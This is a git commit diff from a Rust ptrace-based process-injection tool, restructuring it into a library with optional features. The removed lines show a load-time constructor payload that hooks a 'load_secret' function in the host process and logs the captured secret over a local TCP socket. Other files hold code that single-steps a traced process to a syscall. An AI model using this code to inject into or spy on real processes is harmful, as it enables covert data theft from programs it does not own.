chore: cleanup for library: structure and features
This commit is contained in:
parent
875c12cf43
commit
8b79c47b2f
14 changed files with 75 additions and 172 deletions
12
Cargo.toml
12
Cargo.toml
|
@ -10,16 +10,20 @@ path = "src/lib.rs"
|
||||||
[[bin]]
|
[[bin]]
|
||||||
name = "needle"
|
name = "needle"
|
||||||
path = "src/needle/main.rs"
|
path = "src/needle/main.rs"
|
||||||
|
required-features = ["bin"]
|
||||||
|
|
||||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
clap = { version = "4.1.13", features = ["derive"] }
|
|
||||||
ctor = "0.1.26"
|
|
||||||
retour = "0.1" # plain detour doesn't work on latest nightly? idk
|
|
||||||
elf = "0.7.2"
|
elf = "0.7.2"
|
||||||
nix = "0.26.2"
|
retour = "0.1" # plain detour doesn't work on latest nightly? idk
|
||||||
proc-maps = "0.3.0"
|
proc-maps = "0.3.0"
|
||||||
libloading = "0.7.4"
|
libloading = "0.7.4"
|
||||||
tracing = "0.1.37"
|
tracing = "0.1.37"
|
||||||
tracing-subscriber = "0.3.16"
|
tracing-subscriber = "0.3.16"
|
||||||
|
nix = { version = "0.26.2", optional = true }
|
||||||
|
clap = { version = "4.1.13", features = ["derive"], optional = true }
|
||||||
|
|
||||||
|
[features]
|
||||||
|
rc = ["dep:nix"]
|
||||||
|
bin = ["rc", "dep:clap"]
|
||||||
|
|
34
src/hooks.rs
34
src/hooks.rs
|
@ -1,34 +0,0 @@
|
||||||
use std::ffi::c_int;
|
|
||||||
|
|
||||||
use retour::static_detour;
|
|
||||||
use tracing::info;
|
|
||||||
|
|
||||||
use crate::locators::find_symbol;
|
|
||||||
|
|
||||||
static_detour! {
|
|
||||||
static HOOK : unsafe extern "C" fn() -> c_int;
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn add_hooks() -> Result<(), Box<dyn std::error::Error>> {
|
|
||||||
if let Some(ptr) = find_symbol("load_secret")? {
|
|
||||||
unsafe {
|
|
||||||
HOOK.initialize(ptr, cb::hook)?;
|
|
||||||
HOOK.enable()?;
|
|
||||||
}
|
|
||||||
info!("installed hook on 'load_secret'");
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
mod cb {
|
|
||||||
use tracing::info;
|
|
||||||
|
|
||||||
use super::HOOK;
|
|
||||||
|
|
||||||
pub fn hook() -> i32 {
|
|
||||||
let secret = unsafe { HOOK.call() };
|
|
||||||
info!("( ͡° ͜ʖ ͡°) its {}", secret);
|
|
||||||
secret
|
|
||||||
}
|
|
||||||
}
|
|
31
src/lib.rs
31
src/lib.rs
|
@ -1,32 +1,5 @@
|
||||||
pub mod locators;
|
pub mod locators;
|
||||||
pub mod hooks;
|
|
||||||
pub mod tricks;
|
pub mod tricks;
|
||||||
|
|
||||||
use std::{net::TcpStream, sync::Mutex};
|
#[cfg(feature = "rc")]
|
||||||
|
pub mod rc;
|
||||||
use tracing::{info, error};
|
|
||||||
|
|
||||||
use crate::hooks::add_hooks;
|
|
||||||
|
|
||||||
|
|
||||||
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
|
|
||||||
fn constructor() {
|
|
||||||
std::thread::spawn(|| {
|
|
||||||
match TcpStream::connect("127.0.0.1:13337") {
|
|
||||||
Ok(stream) => tracing_subscriber::fmt()
|
|
||||||
.with_writer(Mutex::new(stream))
|
|
||||||
.init(),
|
|
||||||
Err(_) => {},
|
|
||||||
}
|
|
||||||
|
|
||||||
info!(target: "tetanus", "infected target");
|
|
||||||
|
|
||||||
if let Err(e) = add_hooks() {
|
|
||||||
error!(target: "tetanus", "could not add hooks : {}", e);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
#[ctor::dtor]
|
|
||||||
fn destructor() {}
|
|
||||||
|
|
||||||
|
|
|
@ -19,7 +19,7 @@ pub fn find_symbol<T : Function>(name: &str) -> Result<Option<T>, Box<dyn Error>
|
||||||
// try to read it from executable's elf
|
// try to read it from executable's elf
|
||||||
match find_argv0() {
|
match find_argv0() {
|
||||||
None => warn!("could not find argv0 for process"),
|
None => warn!("could not find argv0 for process"),
|
||||||
Some(exec) => match procmaps::map_addr_path(&exec)? {
|
Some(exec) => match procmaps::map_addr_path(std::process::id() as i32, &exec)? {
|
||||||
None => warn!("could not find base addr of process image"),
|
None => warn!("could not find base addr of process image"),
|
||||||
Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
|
Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
|
||||||
None => warn!("could not locate requested symbol in ELF"),
|
None => warn!("could not locate requested symbol in ELF"),
|
||||||
|
@ -90,8 +90,8 @@ pub mod procmaps {
|
||||||
|
|
||||||
use crate::tricks::fmt_path;
|
use crate::tricks::fmt_path;
|
||||||
|
|
||||||
pub fn map_addr_path(name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
|
pub fn map_addr_path(pid: i32, name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
|
||||||
let proc_maps = get_process_maps(std::process::id() as i32)?;
|
let proc_maps = get_process_maps(pid)?;
|
||||||
|
|
||||||
for map in proc_maps {
|
for map in proc_maps {
|
||||||
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));
|
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));
|
||||||
|
|
|
@ -1,66 +0,0 @@
|
||||||
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
|
|
||||||
|
|
||||||
use elf::{ElfBytes, endian::AnyEndian};
|
|
||||||
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
|
|
||||||
use proc_maps::get_process_maps;
|
|
||||||
|
|
||||||
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
|
||||||
let mut registers;
|
|
||||||
let mut addr;
|
|
||||||
let mut instructions;
|
|
||||||
|
|
||||||
// seek to syscall
|
|
||||||
loop {
|
|
||||||
registers = ptrace::getregs(pid)?;
|
|
||||||
addr = registers.rip as usize;
|
|
||||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
|
||||||
|
|
||||||
if instructions & 0xFFFF == 0x050F {
|
|
||||||
return Ok(addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
ptrace::step(pid, None)?;
|
|
||||||
waitpid(pid, None)?;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str {
|
|
||||||
match p {
|
|
||||||
Some(path) => {
|
|
||||||
match path.to_str() {
|
|
||||||
Some(s) => s,
|
|
||||||
None => "?",
|
|
||||||
}
|
|
||||||
},
|
|
||||||
None => "",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
|
|
||||||
let proc_maps = get_process_maps(pid.as_raw())?;
|
|
||||||
|
|
||||||
for map in proc_maps {
|
|
||||||
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
|
|
||||||
return Ok((
|
|
||||||
map.start() - map.offset,
|
|
||||||
map.filename().expect("matched empty option?").to_path_buf()
|
|
||||||
));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps"))
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn find_dlopen(path: &Path) -> std::io::Result<usize> {
|
|
||||||
let libc = std::fs::read(path).expect("could not read libc");
|
|
||||||
let headers = ElfBytes::<AnyEndian>::minimal_parse(&libc).expect("failed parsing libc as ELF");
|
|
||||||
let common = headers.find_common_data().expect("shdrs should parse");
|
|
||||||
let dynsyms = common.dynsyms.unwrap();
|
|
||||||
let strtab = common.dynsyms_strs.unwrap();
|
|
||||||
let hash_table = common.sysv_hash.unwrap();
|
|
||||||
let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab)
|
|
||||||
.expect("could not parse symbols hash table")
|
|
||||||
.expect("could not find dlopen symbol");
|
|
||||||
|
|
||||||
return Ok(dlopen.st_value as usize);
|
|
||||||
}
|
|
|
@ -1,23 +1,17 @@
|
||||||
mod syscalls;
|
|
||||||
mod executors;
|
|
||||||
mod senders;
|
|
||||||
mod injector;
|
|
||||||
mod explorers;
|
|
||||||
mod monitor;
|
|
||||||
|
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
use injector::RemoteOperation;
|
use tracing::{metadata::LevelFilter, info, error};
|
||||||
use monitor::monitor_payload;
|
|
||||||
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
||||||
use clap::Parser;
|
use clap::Parser;
|
||||||
|
|
||||||
use executors::RemoteShellcode;
|
use rustyneedle::{
|
||||||
use senders::RemoteString;
|
injector::RemoteOperation, executors::RemoteShellcode,
|
||||||
use explorers::step_to_syscall;
|
senders::RemoteString, syscalls::RemoteExit,
|
||||||
use tracing::{metadata::LevelFilter, info, error};
|
explorers::step_to_syscall,
|
||||||
|
};
|
||||||
|
|
||||||
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit};
|
mod monitor;
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
#[command(author, version, about, long_about = None)]
|
#[command(author, version, about, long_about = None)]
|
||||||
|
@ -152,7 +146,7 @@ fn main() {
|
||||||
}
|
}
|
||||||
|
|
||||||
if monitor {
|
if monitor {
|
||||||
monitor_payload();
|
monitor::listen_logs();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -2,7 +2,7 @@ use std::net::TcpListener;
|
||||||
|
|
||||||
use tracing::info;
|
use tracing::info;
|
||||||
|
|
||||||
pub fn monitor_payload() {
|
pub fn listen_logs() {
|
||||||
info!("listening for logs from injected payload ...");
|
info!("listening for logs from injected payload ...");
|
||||||
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
|
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
|
||||||
if let Ok((mut stream, addr)) = listener.accept() {
|
if let Ok((mut stream, addr)) = listener.accept() {
|
||||||
|
|
25
src/rc/explorers.rs
Normal file
25
src/rc/explorers.rs
Normal file
|
@ -0,0 +1,25 @@
|
||||||
|
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
|
||||||
|
|
||||||
|
use elf::{ElfBytes, endian::AnyEndian};
|
||||||
|
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
|
||||||
|
use proc_maps::get_process_maps;
|
||||||
|
|
||||||
|
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
||||||
|
let mut registers;
|
||||||
|
let mut addr;
|
||||||
|
let mut instructions;
|
||||||
|
|
||||||
|
// seek to syscall
|
||||||
|
loop {
|
||||||
|
registers = ptrace::getregs(pid)?;
|
||||||
|
addr = registers.rip as usize;
|
||||||
|
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||||
|
|
||||||
|
if instructions & 0xFFFF == 0x050F {
|
||||||
|
return Ok(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
ptrace::step(pid, None)?;
|
||||||
|
waitpid(pid, None)?;
|
||||||
|
}
|
||||||
|
}
|
7
src/rc/mod.rs
Normal file
7
src/rc/mod.rs
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
mod jnjector;
|
||||||
|
|
||||||
|
mod executors;
|
||||||
|
mod explores;
|
||||||
|
mod senders;
|
||||||
|
|
||||||
|
mod syscalls;
|
|
@ -1,4 +1,4 @@
|
||||||
use std::{ffi::c_void, fmt::Display, mem::size_of};
|
use std::{ffi::c_void, mem::size_of};
|
||||||
|
|
||||||
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
|
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
|
||||||
use tracing::{debug, info};
|
use tracing::{debug, info};
|
||||||
|
@ -7,25 +7,6 @@ use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
|
||||||
|
|
||||||
const WORD_SIZE : usize = size_of::<usize>();
|
const WORD_SIZE : usize = size_of::<usize>();
|
||||||
|
|
||||||
pub struct ByteVec(pub Vec<u8>);
|
|
||||||
|
|
||||||
impl From<Vec<u8>> for ByteVec {
|
|
||||||
fn from(value: Vec<u8>) -> Self {
|
|
||||||
ByteVec(value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Display for ByteVec {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
write!(f, "[ ")?;
|
|
||||||
for el in self.0.iter() {
|
|
||||||
write!(f, "0x{:x} ", el)?;
|
|
||||||
}
|
|
||||||
write!(f, "]")?;
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[allow(unused)]
|
#[allow(unused)]
|
||||||
pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
|
pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
|
||||||
let mut out = vec![];
|
let mut out = vec![];
|
|
@ -1,3 +1,22 @@
|
||||||
|
pub struct ByteVec(pub Vec<u8>);
|
||||||
|
|
||||||
|
impl From<Vec<u8>> for ByteVec {
|
||||||
|
fn from(value: Vec<u8>) -> Self {
|
||||||
|
ByteVec(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for ByteVec {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
write!(f, "[ ")?;
|
||||||
|
for el in self.0.iter() {
|
||||||
|
write!(f, "0x{:x} ", el)?;
|
||||||
|
}
|
||||||
|
write!(f, "]")?;
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
||||||
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in a new issue